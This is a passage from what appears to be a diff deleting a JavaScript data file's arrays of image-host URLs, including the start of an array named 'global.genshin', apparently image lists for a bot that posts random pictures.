-'https://img.nickpic.host/q1RnFn.jpg',
-'https://img.nickpic.host/q1Rtis.jpg',
-'https://img.nickpic.host/q1RM02.jpg',
-'https://img.nickpic.host/q1R1xQ.jpg',
-'https://img.nickpic.host/q1R4hx.jpg',
-'https://img.nickpic.host/q1RDKN.jpg',
-'https://img.nickpic.host/q1RzGO.jpg',
-'https://img.nickpic.host/q1R7gm.jpg',
-'https://img.nickpic.host/q1R848.jpg',
-'https://img.nickpic.host/q1RKPq.jpg',
-'https://img.nickpic.host/q1RHFd.jpg',
-'https://img.nickpic.host/q1RNiD.jpg',
-'https://img.nickpic.host/q1RV25.jpg',
-'https://img.nickpic.host/q1R0xP.jpg',
-'https://img.nickpic.host/q1R2hM.jpg',
-'https://img.nickpic.host/q1R9YF.jpg',
-'https://img.nickpic.host/q1RkGe.jpg',
-'https://img.nickpic.host/q1RJgX.jpg',
-'https://img.nickpic.host/q1RPPf.jpg',
-'https://img.nickpic.host/q1RLDb.jpg',
-'https://img.nickpic.host/q1RWa6.jpg',
-'https://img.nickpic.host/q1RZnp.jpg',
-'https://img.nickpic.host/q11GBA.jpg',
-'https://img.nickpic.host/q11I6G.jpg',
-'https://img.nickpic.host/q1Rd2Y.jpg',
-'https://img.nickpic.host/q11mYz.jpg',
-'https://img.nickpic.host/q11pIc.jpg',
-'https://img.nickpic.host/q11xD1.jpg',
-'https://img.nickpic.host/q11vgW.jpg',
-'https://img.nickpic.host/q11BTj.jpg',
-'https://img.nickpic.host/q11raJ.jpg',
-'https://img.nickpic.host/q11snn.jpg',
-'https://img.nickpic.host/q11aB2.jpg',
-'https://img.nickpic.host/q1139s.jpg',
-'https://img.nickpic.host/q11j6Q.jpg',
-'https://img.nickpic.host/q11lHx.jpg',
-'https://img.nickpic.host/q11SIN.jpg',
-'https://img.nickpic.host/q11gwm.jpg',
-'https://img.nickpic.host/q11cqO.jpg',
-'https://img.nickpic.host/q11qT8.jpg',
-'https://img.nickpic.host/q11Ajq.jpg',
-'https://img.nickpic.host/q11End.jpg',
-'https://img.nickpic.host/q116b5.jpg',
-'https://img.nickpic.host/q11O9D.jpg',
-'https://img.nickpic.host/q11C6P.jpg',
-'https://img.nickpic.host/q11QHM.jpg',
-'https://img.nickpic.host/q11XmF.jpg',
-'https://img.nickpic.host/q11nwX.jpg',
-'https://img.nickpic.host/q11iqe.jpg',
-'https://img.nickpic.host/q11tWb.jpg',
-'https://img.nickpic.host/q11Rjf.jpg',
-'https://img.nickpic.host/q111t6.jpg',
-'https://img.nickpic.host/q114ep.jpg',
-'https://img.nickpic.host/q117NG.jpg',
-'https://img.nickpic.host/q11wbY.jpg',
-'https://img.nickpic.host/q11zCA.jpg',
-'https://img.nickpic.host/q11Kmz.jpg',
-'https://img.nickpic.host/q11Yuc.jpg',
-'https://img.nickpic.host/q11HwW.jpg',
-'https://img.nickpic.host/q11NW1.jpg',
-'https://img.nickpic.host/q11flj.jpg',
-'https://img.nickpic.host/q110tJ.jpg',
-'https://img.nickpic.host/q112en.jpg',
-'https://img.nickpic.host/q11ers.jpg',
-'https://img.nickpic.host/q11kC2.jpg',
-'https://img.nickpic.host/q11JNQ.jpg',
-'https://img.nickpic.host/q11Pox.jpg',
-'https://img.nickpic.host/q11TuN.jpg',
-'https://img.nickpic.host/q11yl8.jpg',
-'https://img.nickpic.host/q11WzO.jpg',
-'https://img.nickpic.host/q14GMq.jpg',
-'https://img.nickpic.host/q14Ied.jpg',
-'https://img.nickpic.host/q14orD.jpg',
-'https://img.nickpic.host/q14pQ5.jpg',
-'https://img.nickpic.host/q14vNP.jpg',
-'https://img.nickpic.host/q14BoM.jpg',
-'https://img.nickpic.host/q14bAF.jpg',
-'https://img.nickpic.host/q14rze.jpg',
-'https://img.nickpic.host/q14sZX.jpg',
-'https://img.nickpic.host/q14aMf.jpg',
-'https://img.nickpic.host/q14F5b.jpg',
-'https://img.nickpic.host/q14jk6.jpg',
-'https://img.nickpic.host/q145sp.jpg',
-'https://img.nickpic.host/q14cVA.jpg',
-'https://img.nickpic.host/q14qpG.jpg',
-'https://img.nickpic.host/q14SQY.jpg',
-'https://img.nickpic.host/q14uAz.jpg',
-'https://img.nickpic.host/q14A7c.jpg',
-'https://img.nickpic.host/q14h51.jpg',
-'https://img.nickpic.host/q14EZW.jpg',
-'https://img.nickpic.host/q146Rj.jpg',
-'https://img.nickpic.host/q14CkJ.jpg',
-'https://img.nickpic.host/q14Usn.jpg',
-'https://img.nickpic.host/q14XUs.jpg',
-'https://img.nickpic.host/q14iV2.jpg',
-'https://img.nickpic.host/q14tpQ.jpg',
-'https://img.nickpic.host/q14MEx.jpg',
-'https://img.nickpic.host/q141dO.jpg',
-'https://img.nickpic.host/q14R7N.jpg',
-'https://img.nickpic.host/q14DSm.jpg',
-'https://img.nickpic.host/q14wR8.jpg',
-'https://img.nickpic.host/q148sd.jpg',
-'https://img.nickpic.host/q14zJq.jpg',
-'https://img.nickpic.host/q14KUD.jpg',
-'https://img.nickpic.host/q14Yf5.jpg',
-'https://img.nickpic.host/q14NpP.jpg',
-'https://img.nickpic.host/q14VEM.jpg',
-'https://img.nickpic.host/q14f8F.jpg',
-'https://img.nickpic.host/q140de.jpg',
-'https://img.nickpic.host/q149SX.jpg',
-'https://img.nickpic.host/q14e1b.jpg',
-'https://img.nickpic.host/q14kJf.jpg',
-'https://img.nickpic.host/q14L36.jpg',
-'https://img.nickpic.host/q14PXp.jpg',
-'https://img.nickpic.host/q14TfY.jpg',
-'https://img.nickpic.host/q14ZvA.jpg',
-'https://img.nickpic.host/q14dOG.jpg',
-'https://img.nickpic.host/q14y8z.jpg',
-'https://img.nickpic.host/q1DGyc.jpg',
-'https://img.nickpic.host/q1DmSW.jpg',
-'https://img.nickpic.host/q1Do11.jpg',
-'https://img.nickpic.host/q1DpLj.jpg',
-'https://img.nickpic.host/q1Dx3J.jpg',
-'https://img.nickpic.host/q1DBXn.jpg',
-'https://img.nickpic.host/q1Db0s.jpg',
-'https://img.nickpic.host/q1Dsv2.jpg',
-'https://img.nickpic.host/q1D3OQ.jpg',
-'https://img.nickpic.host/q1DFKx.jpg',
-'https://img.nickpic.host/q1DayN.jpg',
-'https://img.nickpic.host/q1DlcO.jpg',
-'https://img.nickpic.host/q1D54m.jpg',
-'https://img.nickpic.host/q1DSL8.jpg',
-'https://img.nickpic.host/q1DgFq.jpg',
-'https://img.nickpic.host/q1DqXd.jpg',
-'https://img.nickpic.host/q1Du0D.jpg',
-'https://img.nickpic.host/q1DEx5.jpg',
-'https://img.nickpic.host/q1DOOP.jpg',
-'https://img.nickpic.host/q1DhKM.jpg',
-'https://img.nickpic.host/q1DCGF.jpg',
-'https://img.nickpic.host/q1DQce.jpg',
-'https://img.nickpic.host/q1DU4X.jpg',
-'https://img.nickpic.host/q1DXPb.jpg',
-'https://img.nickpic.host/q1Dti6.jpg',
-'https://img.nickpic.host/q1DnFf.jpg',
-'https://img.nickpic.host/q1DM2p.jpg',
-'https://img.nickpic.host/q1D1xY.jpg',
-'https://img.nickpic.host/q1D4hA.jpg',
-'https://img.nickpic.host/q1DzGz.jpg',
-'https://img.nickpic.host/q1DDYG.jpg',
-'https://img.nickpic.host/q1D7gc.jpg',
-'https://img.nickpic.host/q1D84W.jpg',
-'https://img.nickpic.host/q1DHaj.jpg',
-'https://img.nickpic.host/q1DKP1.jpg',
-'https://img.nickpic.host/q1DNiJ.jpg',
-'https://img.nickpic.host/q1DV2n.jpg',
-'https://img.nickpic.host/q1D0Bs.jpg',
-'https://img.nickpic.host/q1D9YQ.jpg',
-'https://img.nickpic.host/q1D2h2.jpg',
-'https://img.nickpic.host/q1DkIx.jpg',
-'https://img.nickpic.host/q1DJgN.jpg',
-'https://img.nickpic.host/q1DLDO.jpg',
-'https://img.nickpic.host/q1DPTm.jpg',
-'https://img.nickpic.host/q1DWa8.jpg',
-'https://img.nickpic.host/q1DZnq.jpg',
-'https://img.nickpic.host/q1wI65.jpg',
-'https://img.nickpic.host/q1wGBD.jpg',
-'https://img.nickpic.host/q1Dd2d.jpg',
-'https://img.nickpic.host/q1wmYP.jpg',
-'https://img.nickpic.host/q1wpIM.jpg',
-'https://img.nickpic.host/q1wvqF.jpg',
-'https://img.nickpic.host/q1wxDe.jpg',
-'https://img.nickpic.host/q1wBTX.jpg',
-'https://img.nickpic.host/q1wsnf.jpg',
-'https://img.nickpic.host/q1wrjb.jpg',
-'https://img.nickpic.host/q1w396.jpg',
-'https://img.nickpic.host/q1wj6Y.jpg',
-'https://img.nickpic.host/q1wabp.jpg',
-'https://img.nickpic.host/q1wlHA.jpg',
-'https://img.nickpic.host/q1wSmG.jpg',
-'https://img.nickpic.host/q1wcqz.jpg',
-'https://img.nickpic.host/q1wqTW.jpg',
-'https://img.nickpic.host/q1wgwc.jpg',
-'https://img.nickpic.host/q1wAj1.jpg',
-'https://img.nickpic.host/q1wEtj.jpg',
-'https://img.nickpic.host/q1wO9J.jpg',
-'https://img.nickpic.host/q1wCCs.jpg',
-'https://img.nickpic.host/q1w6bn.jpg',
-'https://img.nickpic.host/q1wQH2.jpg',
-'https://img.nickpic.host/q1wXmQ.jpg',
-'https://img.nickpic.host/q1wiux.jpg',
-'https://img.nickpic.host/q1wnwN.jpg',
-'https://img.nickpic.host/q1wtWO.jpg',
-'https://img.nickpic.host/q1wRlm.jpg',
-'https://img.nickpic.host/q1w1t8.jpg',
-'https://img.nickpic.host/q1w4eq.jpg',
-'https://img.nickpic.host/q1wwbd.jpg',
-'https://img.nickpic.host/q1wzCD.jpg',
-'https://img.nickpic.host/q1w7N5.jpg',
-'https://img.nickpic.host/q1wKmP.jpg',
-'https://img.nickpic.host/q1wYuM.jpg',
-'https://img.nickpic.host/q1wHzF.jpg',
-'https://img.nickpic.host/q1wNWe.jpg',
-'https://img.nickpic.host/q1wflX.jpg',
-'https://img.nickpic.host/q1w0Mb.jpg',
-'https://img.nickpic.host/q1w2ef.jpg',
-'https://img.nickpic.host/q1wer6.jpg',
-'https://img.nickpic.host/q1wkQp.jpg',
-'https://img.nickpic.host/q1wJNY.jpg',
-'https://img.nickpic.host/q1wPoA.jpg',
-'https://img.nickpic.host/q1wTAG.jpg',
-'https://img.nickpic.host/q1wWzz.jpg',
-'https://img.nickpic.host/q1wZZc.jpg',
-'https://img.nickpic.host/q1wylW.jpg',
-'https://img.nickpic.host/q1zIkj.jpg',
-'https://img.nickpic.host/q1zGM1.jpg',
-'https://img.nickpic.host/q1zorJ.jpg',
-'https://img.nickpic.host/q1zpQn.jpg',
-'https://img.nickpic.host/q1zvVs.jpg',
-'https://img.nickpic.host/q1zBo2.jpg',
-'https://img.nickpic.host/q1zbAQ.jpg',
-'https://img.nickpic.host/q1zr7x.jpg',
-'https://img.nickpic.host/q1zsZN.jpg',
-'https://img.nickpic.host/q1zF5O.jpg',
-'https://img.nickpic.host/q1zaRm.jpg',
-'https://img.nickpic.host/q1zjk8.jpg',
-'https://img.nickpic.host/q1z5sq.jpg',
-'https://img.nickpic.host/q1zSQd.jpg',
-'https://img.nickpic.host/q1zcVD.jpg',
-'https://img.nickpic.host/q1zqp5.jpg',
-'https://img.nickpic.host/q1zuAP.jpg',
-'https://img.nickpic.host/q1zA7M.jpg',
-'https://img.nickpic.host/q1zEdF.jpg',
-'https://img.nickpic.host/q1zh5e.jpg',
-'https://img.nickpic.host/q1z6RX.jpg',
-'https://img.nickpic.host/q1zCJb.jpg',
-'https://img.nickpic.host/q1zXU6.jpg',
-'https://img.nickpic.host/q1zUsf.jpg',
-'https://img.nickpic.host/q1zifp.jpg',
-'https://img.nickpic.host/q1ztpY.jpg',
-'https://img.nickpic.host/q1zMEA.jpg',
-'https://img.nickpic.host/q1zR8G.jpg',
-'https://img.nickpic.host/q1z1dz.jpg',
-'https://img.nickpic.host/q1zDSc.jpg',
-'https://img.nickpic.host/q1zwRW.jpg',
-'https://img.nickpic.host/q1zzJ1.jpg',
-'https://img.nickpic.host/q1z83j.jpg',
-'https://img.nickpic.host/q1zKUJ.jpg',
-'https://img.nickpic.host/q1zYfn.jpg',
-'https://img.nickpic.host/q1zVE2.jpg',
-'https://img.nickpic.host/q1zNvs.jpg',
-'https://img.nickpic.host/q1zf8Q.jpg',
-'https://img.nickpic.host/q1z0yx.jpg',
-'https://img.nickpic.host/q1z9SN.jpg',
-'https://img.nickpic.host/q1zkLm.jpg',
-'https://img.nickpic.host/q1ze1O.jpg',
-'https://img.nickpic.host/q1zL38.jpg',
-'https://img.nickpic.host/q1zPXq.jpg',
-'https://img.nickpic.host/q1zTfd.jpg',
-'https://img.nickpic.host/q1zdO5.jpg',
-'https://img.nickpic.host/q1zZvD.jpg',
-'https://img.nickpic.host/q17GyM.jpg',
-'https://img.nickpic.host/q1zy8P.jpg',
-'https://img.nickpic.host/q17mcF.jpg',
-'https://img.nickpic.host/q17pLX.jpg',
-'https://img.nickpic.host/q17o1e.jpg',
-'https://img.nickpic.host/q17BXf.jpg',
-'https://img.nickpic.host/q17xFb.jpg',
-'https://img.nickpic.host/q17b06.jpg',
-'https://img.nickpic.host/q173OY.jpg',
-'https://img.nickpic.host/q17sxp.jpg',
-'https://img.nickpic.host/q17jGG.jpg',
-'https://img.nickpic.host/q17FKA.jpg',
-'https://img.nickpic.host/q17lcz.jpg',
-'https://img.nickpic.host/q1754c.jpg',
-'https://img.nickpic.host/q17SLW.jpg',
-'https://img.nickpic.host/q17qij.jpg',
-'https://img.nickpic.host/q17gF1.jpg',
-'https://img.nickpic.host/q17Exn.jpg',
-'https://img.nickpic.host/q17u0J.jpg',
-'https://img.nickpic.host/q17Ohs.jpg',
-'https://img.nickpic.host/q17hK2.jpg',
-'https://img.nickpic.host/q17CGQ.jpg',
-'https://img.nickpic.host/q17U4N.jpg',
-'https://img.nickpic.host/q17Qgx.jpg',
-'https://img.nickpic.host/q17nam.jpg',
-'https://img.nickpic.host/q17XPO.jpg',
-'https://img.nickpic.host/q17ti8.jpg',
-'https://img.nickpic.host/q17M2q.jpg',
-'https://img.nickpic.host/q171xd.jpg',
-'https://img.nickpic.host/q17DY5.jpg',
-'https://img.nickpic.host/q174hD.jpg',
-'https://img.nickpic.host/q177gM.jpg',
-'https://img.nickpic.host/q17zGP.jpg',
-'https://img.nickpic.host/q178DF.jpg',
-'https://img.nickpic.host/q17KPe.jpg',
-'https://img.nickpic.host/q17HaX.jpg',
-'https://img.nickpic.host/q17V2f.jpg',
-'https://img.nickpic.host/q17Nnb.jpg',
-'https://img.nickpic.host/q1726p.jpg',
-'https://img.nickpic.host/q170B6.jpg',
-'https://img.nickpic.host/q17kIA.jpg',
-'https://img.nickpic.host/q179YY.jpg',
-'https://img.nickpic.host/q17JqG.jpg',
-'https://img.nickpic.host/q17LDz.jpg',
-'https://img.nickpic.host/q17PTc.jpg',
-'https://img.nickpic.host/q17Zn1.jpg',
-'https://img.nickpic.host/q17WaW.jpg',
-'https://img.nickpic.host/q17d9j.jpg',
-'https://img.nickpic.host/q18I6n.jpg',
-'https://img.nickpic.host/q18GBJ.jpg',
-'https://img.nickpic.host/q18pI2.jpg',
-'https://img.nickpic.host/q18mHs.jpg',
-'https://img.nickpic.host/q18xwx.jpg',
-'https://img.nickpic.host/q18vqQ.jpg',
-'https://img.nickpic.host/q18BTN.jpg',
-'https://img.nickpic.host/q18rjO.jpg',
-'https://img.nickpic.host/q18stm.jpg',
-'https://img.nickpic.host/q18abq.jpg',
-'https://img.nickpic.host/q18398.jpg',
-'https://img.nickpic.host/q18j6d.jpg',
-'https://img.nickpic.host/q18lHD.jpg',
-'https://img.nickpic.host/q18cqP.jpg',
-'https://img.nickpic.host/q18Sm5.jpg',
-'https://img.nickpic.host/q18gwM.jpg',
-'https://img.nickpic.host/q18qWF.jpg',
-'https://img.nickpic.host/q18Aje.jpg',
-'https://img.nickpic.host/q18EtX.jpg',
-'https://img.nickpic.host/q18Oeb.jpg',
-'https://img.nickpic.host/q18CC6.jpg',
-'https://img.nickpic.host/q186bf.jpg',
-'https://img.nickpic.host/q18QNp.jpg',
-'https://img.nickpic.host/q18iuA.jpg',
-'https://img.nickpic.host/q18XmY.jpg',
-'https://img.nickpic.host/q18nzG.jpg',
-'https://img.nickpic.host/q18tWz.jpg',
-'https://img.nickpic.host/q18Rlc.jpg',
-'https://img.nickpic.host/q184e1.jpg',
-'https://img.nickpic.host/q181tW.jpg',
-'https://img.nickpic.host/q18zCJ.jpg',
-'https://img.nickpic.host/q187Nn.jpg',
-'https://img.nickpic.host/q18wrj.jpg',
-'https://img.nickpic.host/q18Kos.jpg',
-'https://img.nickpic.host/q18Yu2.jpg',
-'https://img.nickpic.host/q18NZx.jpg',
-'https://img.nickpic.host/q18HzQ.jpg',
-'https://img.nickpic.host/q18flN.jpg',
-'https://img.nickpic.host/q180MO.jpg',
-'https://img.nickpic.host/q182km.jpg',
-'https://img.nickpic.host/q18er8.jpg',
-'https://img.nickpic.host/q18kQq.jpg',
-'https://img.nickpic.host/q18JNd.jpg',
-'https://img.nickpic.host/q18TA5.jpg',
-'https://img.nickpic.host/q18ZZM.jpg',
-'https://img.nickpic.host/q18PoD.jpg',
-'https://img.nickpic.host/q18y5F.jpg',
-'https://img.nickpic.host/q18WzP.jpg',
-'https://img.nickpic.host/q1KGMe.jpg',
-'https://img.nickpic.host/q1KIkX.jpg',
-'https://img.nickpic.host/q1KpQf.jpg',
-'https://img.nickpic.host/q1Kosb.jpg',
-'https://img.nickpic.host/q1KvV6.jpg',
-'https://img.nickpic.host/q1KBpp.jpg',
-'https://img.nickpic.host/q1KbAY.jpg',
-'https://img.nickpic.host/q1Kr7A.jpg',
-'https://img.nickpic.host/q1KsdG.jpg',
-'https://img.nickpic.host/q1KF5z.jpg',
-'https://img.nickpic.host/q1KjkW.jpg',
-'https://img.nickpic.host/q1KSUj.jpg',
-'https://img.nickpic.host/q1KaRc.jpg',
-'https://img.nickpic.host/q1K5s1.jpg',
-'https://img.nickpic.host/q1KcVJ.jpg',
-'https://img.nickpic.host/q1Kqpn.jpg',
-'https://img.nickpic.host/q1KuEs.jpg',
-'https://img.nickpic.host/q1KEdQ.jpg',
-'https://img.nickpic.host/q1KA72.jpg',
-'https://img.nickpic.host/q1KhSx.jpg',
-'https://img.nickpic.host/q1K6RN.jpg',
-'https://img.nickpic.host/q1KXU8.jpg',
-'https://img.nickpic.host/q1KCJO.jpg',
-'https://img.nickpic.host/q1KU3m.jpg',
-'https://img.nickpic.host/q1Kifq.jpg',
-'https://img.nickpic.host/q1Ktpd.jpg',
-'https://img.nickpic.host/q1KR85.jpg',
-'https://img.nickpic.host/q1KMED.jpg',
-'https://img.nickpic.host/q1K1dP.jpg',
-'https://img.nickpic.host/q1KDSM.jpg',
-'https://img.nickpic.host/q1Kw1F.jpg',
-'https://img.nickpic.host/q1KzJe.jpg',
-'https://img.nickpic.host/q1K83X.jpg',
-'https://img.nickpic.host/q1KKXb.jpg',
-'https://img.nickpic.host/q1KYff.jpg',
-'https://img.nickpic.host/q1Kf8Y.jpg',
-'https://img.nickpic.host/q1KNv6.jpg',
-'https://img.nickpic.host/q1KVOp.jpg',
-'https://img.nickpic.host/q1K0yA.jpg',
-'https://img.nickpic.host/q1K9cG.jpg',
-'https://img.nickpic.host/q1Ke1z.jpg',
-'https://img.nickpic.host/q1KkLc.jpg',
-'https://img.nickpic.host/q1KL3W.jpg',
-'https://img.nickpic.host/q1KT0j.jpg',
-'https://img.nickpic.host/q1KPX1.jpg',
-'https://img.nickpic.host/q1KZvJ.jpg',
-'https://img.nickpic.host/q1KyKs.jpg',
-'https://img.nickpic.host/q1KdOn.jpg',
-'https://img.nickpic.host/q1YGy2.jpg',
-'https://img.nickpic.host/q1YmcQ.jpg',
-'https://img.nickpic.host/q1YpLN.jpg',
-'https://img.nickpic.host/q1Yo4x.jpg',
-'https://img.nickpic.host/q1YxFO.jpg',
-'https://img.nickpic.host/q1Yb08.jpg',
-'https://img.nickpic.host/q1Ysxq.jpg',
-'https://img.nickpic.host/q1YBim.jpg',
-'https://img.nickpic.host/q1Y3Od.jpg',
-'https://img.nickpic.host/q1YjG5.jpg',
-'https://img.nickpic.host/q1YFKD.jpg',
-'https://img.nickpic.host/q1YlcP.jpg',
-'https://img.nickpic.host/q1Y54M.jpg',
-'https://img.nickpic.host/q1YgFe.jpg',
-'https://img.nickpic.host/q1YSPF.jpg',
-'https://img.nickpic.host/q1Yu2b.jpg',
-'https://img.nickpic.host/q1YqiX.jpg',
-'https://img.nickpic.host/q1YExf.jpg',
-'https://img.nickpic.host/q1YhYp.jpg',
-'https://img.nickpic.host/q1YOh6.jpg',
-'https://img.nickpic.host/q1YQgA.jpg',
-'https://img.nickpic.host/q1YCGY.jpg',
-'https://img.nickpic.host/q1YXPz.jpg',
-'https://img.nickpic.host/q1YUDG.jpg',
-'https://img.nickpic.host/q1Ynac.jpg',
-'https://img.nickpic.host/q1YtiW.jpg',
-'https://img.nickpic.host/q1Y1Bj.jpg',
-'https://img.nickpic.host/q1YM21.jpg',
-'https://img.nickpic.host/q1Y4hJ.jpg',
-'https://img.nickpic.host/q1YDYn.jpg',
-'https://img.nickpic.host/q1YzIs.jpg',
-'https://img.nickpic.host/q1Y7g2.jpg',
-'https://img.nickpic.host/q1Y8DQ.jpg',
-'https://img.nickpic.host/q1YKTx.jpg',
-'https://img.nickpic.host/q1YHaN.jpg',
-'https://img.nickpic.host/q1YNnO.jpg',
-'https://img.nickpic.host/q1Y26q.jpg',
-'https://img.nickpic.host/q1YV9m.jpg',
-'https://img.nickpic.host/q1Y0B8.jpg',
-'https://img.nickpic.host/q1Y9Yd.jpg',
-'https://img.nickpic.host/q1YJq5.jpg',
-'https://img.nickpic.host/q1YPTM.jpg',
-'https://img.nickpic.host/q1YkID.jpg',
-'https://img.nickpic.host/q1YLDP.jpg',
-'https://img.nickpic.host/q1YWjF.jpg',
-'https://img.nickpic.host/q1YZne.jpg',
-'https://img.nickpic.host/q1Yd9X.jpg',
-'https://img.nickpic.host/q1HGbb.jpg',
-'https://img.nickpic.host/q1HI6f.jpg',
-'https://img.nickpic.host/q1HmH6.jpg']
-
-
-global.genshin = ['https://img.nickpic.host/q4pOJF.jpg',
-'https://img.nickpic.host/q4pERM.jpg',
-'https://img.nickpic.host/q4pA5P.jpg',
-'https://img.nickpic.host/q4pg7D.jpg',
-'https://img.nickpic.host/q4pqd5.jpg',
-'https://img.nickpic.host/q4pSpq.jpg',
-'https://img.nickpic.host/q4plV8.jpg',
-'https://img.nickpic.host/q4pjUm.jpg',
-'https://img.nickpic.host/q4pcAd.jpg',
-'https://img.nickpic.host/q4pasO.jpg',
-'https://img.nickpic.host/q4p6se.jpg',
-'https://img.nickpic.host/q4pRSA.jpg',
-'https://img.nickpic.host/q4pCUX.jpg',
-'https://img.nickpic.host/q4pQfb.jpg',
-'https://img.nickpic.host/q4pXpf.jpg',
-'https://img.nickpic.host/q4piE6.jpg',
-'https://img.nickpic.host/q4pn8p.jpg',
-'https://img.nickpic.host/q4ptdY.jpg',
-'https://img.nickpic.host/q4p11G.jpg',
-'https://img.nickpic.host/q4p4Jz.jpg',
-'https://img.nickpic.host/q4pw3c.jpg',
-'https://img.nickpic.host/q4pzUW.jpg',
-'https://img.nickpic.host/q4p7f1.jpg',
-'https://img.nickpic.host/q4p2Lx.jpg',
-'https://img.nickpic.host/q4pKvj.jpg',
-'https://img.nickpic.host/q4pYEJ.jpg',
-'https://img.nickpic.host/q4pH8n.jpg',
-'https://img.nickpic.host/q4pNys.jpg',
-'https://img.nickpic.host/q4pfS2.jpg',
-'https://img.nickpic.host/q4p01Q.jpg',
-'https://img.nickpic.host/q4pe3N.jpg',
-'https://img.nickpic.host/q4pkXO.jpg',
-'https://img.nickpic.host/q4pJ0m.jpg',
-'https://img.nickpic.host/q4pPv8.jpg',
-'https://img.nickpic.host/q4pTOq.jpg',
-'https://img.nickpic.host/q4voFF.jpg',
-'https://img.nickpic.host/q4pW8d.jpg',
-'https://img.nickpic.host/q4pZyD.jpg',
-'https://img.nickpic.host/q4pyc5.jpg',
-'https://img.nickpic.host/q4vG1P.jpg',
-'https://img.nickpic.host/q4vILM.jpg',
-'https://img.nickpic.host/q4vpXe.jpg',
-'https://img.nickpic.host/q4vv0X.jpg',
-'https://img.nickpic.host/q4vBxb.jpg',
-'https://img.nickpic.host/q4vbOf.jpg',
-'https://img.nickpic.host/q4vrK6.jpg',
-'https://img.nickpic.host/q4vc0W.jpg',
-'https://img.nickpic.host/q4v3Gp.jpg',
-'https://img.nickpic.host/q4vFcY.jpg',
-'https://img.nickpic.host/q4va4A.jpg',
-'https://img.nickpic.host/q4vjPG.jpg',
-'https://img.nickpic.host/q4v5Fz.jpg',
-'https://img.nickpic.host/q4vSic.jpg',
-'https://img.nickpic.host/q4vqx1.jpg',
-'https://img.nickpic.host/q4vuhj.jpg',
-'https://img.nickpic.host/q4vAKJ.jpg',
-'https://img.nickpic.host/q4vOGn.jpg',
-'https://img.nickpic.host/q4vhgs.jpg',
-'https://img.nickpic.host/q4vtBm.jpg',
-'https://img.nickpic.host/q4v642.jpg',
-'https://img.nickpic.host/q4vCPQ.jpg',
-'https://img.nickpic.host/q4vUax.jpg',
-'https://img.nickpic.host/q4vi2O.jpg',
-'https://img.nickpic.host/q4vXiN.jpg',
-'https://img.nickpic.host/q4vMh8.jpg',
-'https://img.nickpic.host/q4vRYq.jpg',
-'https://img.nickpic.host/q4v4Gd.jpg',
-'https://img.nickpic.host/q4vDgD.jpg',
-'https://img.nickpic.host/q4vwD5.jpg',
-'https://img.nickpic.host/q4vNBX.jpg',
-'https://img.nickpic.host/q4vzPP.jpg',
-'https://img.nickpic.host/q4v8aM.jpg',
-'https://img.nickpic.host/q4vKnF.jpg',
-'https://img.nickpic.host/q4vY2e.jpg',
-'https://img.nickpic.host/q4vV6b.jpg',
-'https://img.nickpic.host/q4vfYf.jpg',
-'https://img.nickpic.host/q4v2I6.jpg',
-'https://img.nickpic.host/q4v9qp.jpg',
-'https://img.nickpic.host/q4veDY.jpg',
-'https://img.nickpic.host/q4vZBW.jpg',
-'https://img.nickpic.host/q4vkTA.jpg',
-'https://img.nickpic.host/q4vLjG.jpg',
-'https://img.nickpic.host/q4vPnz.jpg',
-'https://img.nickpic.host/q4vT9c.jpg',
-'https://img.nickpic.host/q4vd61.jpg',
-'https://img.nickpic.host/q4vyHj.jpg',
-'https://img.nickpic.host/q4xIIJ.jpg',
-'https://img.nickpic.host/q4xmqn.jpg',
-'https://img.nickpic.host/q4xows.jpg',
-'https://img.nickpic.host/q4xsbO.jpg',
-'https://img.nickpic.host/q4xpT2.jpg',
-'https://img.nickpic.host/q4xxjQ.jpg',
-'https://img.nickpic.host/q4xb9N.jpg',
-'https://img.nickpic.host/q4xBtx.jpg',
-'https://img.nickpic.host/q4x3Cm.jpg',
-'https://img.nickpic.host/q4xFH8.jpg',
-'https://img.nickpic.host/q4xjmq.jpg',
-'https://img.nickpic.host/q4xlqd.jpg',
-'https://img.nickpic.host/q4x5wD.jpg',
-'https://img.nickpic.host/q4xEbe.jpg',
-'https://img.nickpic.host/q4xSW5.jpg',
-'https://img.nickpic.host/q4xgjP.jpg',
-'https://img.nickpic.host/q4xqtM.jpg',
-'https://img.nickpic.host/q4xueF.jpg',
-'https://img.nickpic.host/q4xOCX.jpg',
-'https://img.nickpic.host/q4xhNb.jpg',
-'https://img.nickpic.host/q4xQu6.jpg',
-'https://img.nickpic.host/q4xCmf.jpg',
-'https://img.nickpic.host/q4xUzp.jpg',
-'https://img.nickpic.host/q4x4CW.jpg',
-'https://img.nickpic.host/q4xXWY.jpg',
-'https://img.nickpic.host/q4xnlA.jpg',
-'https://img.nickpic.host/q4xtMG.jpg',
-'https://img.nickpic.host/q4xMez.jpg',
-'https://img.nickpic.host/q4x1rc.jpg',
-'https://img.nickpic.host/q4xDN1.jpg',
-'https://img.nickpic.host/q4xzoj.jpg',
-'https://img.nickpic.host/q4x7uJ.jpg',
-'https://img.nickpic.host/q4x8zn.jpg',
-'https://img.nickpic.host/q4xKZs.jpg',
-'https://img.nickpic.host/q4x2QO.jpg',
-'https://img.nickpic.host/q4xHl2.jpg',
-'https://img.nickpic.host/q4xNMQ.jpg',
-'https://img.nickpic.host/q4xVkx.jpg',
-'https://img.nickpic.host/q4x0rN.jpg',
-'https://img.nickpic.host/q4x9Vm.jpg',
-'https://img.nickpic.host/q4xko8.jpg',
-'https://img.nickpic.host/q4xJAq.jpg',
-'https://img.nickpic.host/q4xLzd.jpg',
-'https://img.nickpic.host/q4BIQe.jpg',
-'https://img.nickpic.host/q4xW55.jpg',
-'https://img.nickpic.host/q4xPZD.jpg',
-'https://img.nickpic.host/q4xZMP.jpg',
-'https://img.nickpic.host/q4BGsF.jpg',
-'https://img.nickpic.host/q4xdkM.jpg',
-'https://img.nickpic.host/q4BmVX.jpg',
-'https://img.nickpic.host/q4Bx76.jpg',
-'https://img.nickpic.host/q4Bppb.jpg',
-'https://img.nickpic.host/q4BvAf.jpg',
-'https://img.nickpic.host/q4BBdp.jpg',
-'https://img.nickpic.host/q4Basz.jpg',
-'https://img.nickpic.host/q4Br5Y.jpg',
-'https://img.nickpic.host/q4BsRA.jpg',
-'https://img.nickpic.host/q4B3JG.jpg',
-'https://img.nickpic.host/q4BjUc.jpg',
-'https://img.nickpic.host/q4BlVW.jpg',
-'https://img.nickpic.host/q4BcEj.jpg',
-'https://img.nickpic.host/q4BSp1.jpg',
-'https://img.nickpic.host/q4Bg7J.jpg',
-'https://img.nickpic.host/q4B63x.jpg',
-'https://img.nickpic.host/q4Bqdn.jpg',
-'https://img.nickpic.host/q4BASs.jpg',
-'https://img.nickpic.host/q4BER2.jpg',
